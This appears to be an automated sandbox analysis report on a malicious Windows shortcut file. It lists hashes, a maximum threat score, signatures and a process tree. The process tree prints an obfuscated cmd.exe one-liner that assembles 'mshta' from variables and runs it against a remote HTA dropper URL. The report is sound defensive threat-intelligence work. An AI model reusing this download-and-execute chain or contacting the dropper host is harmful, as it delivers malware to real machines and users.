Analysis
- max time kernel
60s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 03:53
Static task
static1
Behavioral task
behavioral1
Sample
DOC-JQ0CTS.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-JQ0CTS.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-JQ0CTS.lnk
- Size 1KB
- Sample260823-efppdaxtf1
- SHA256 dea59c4dbb6b37a1a5fcaf22c99f30b2e4dd4d4630b9750fa01396ee6e0db057
- MD5 5eac4d349b440a3f2edb9238902a4d9b
- SHA1 a91766f8156a969bd1786c6729dc52c553843aa6
- SHA512 88a26defb69fb3e58763b51f40d9f1b1721aa643c5e6253bc658315bef1848938ba492f641e49d88413b0a4e29ae78212a44af90d8c0b88da8ff2c50c6da447c
- TLSH T1133197503EFC0A24F3B7AF7284BB6B1099BFB9568E11CA1D0140860C1032A01EA7AF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3416 cmd.exe 4788 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3416 wrote to memory of 4788 3416 cmd.exe 90 PID 4788 wrote to memory of 4768 4788 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JQ0CTS.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set tVH=msh&&set OOeYG=ta&&start "" !tVH!!OOeYG! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4768
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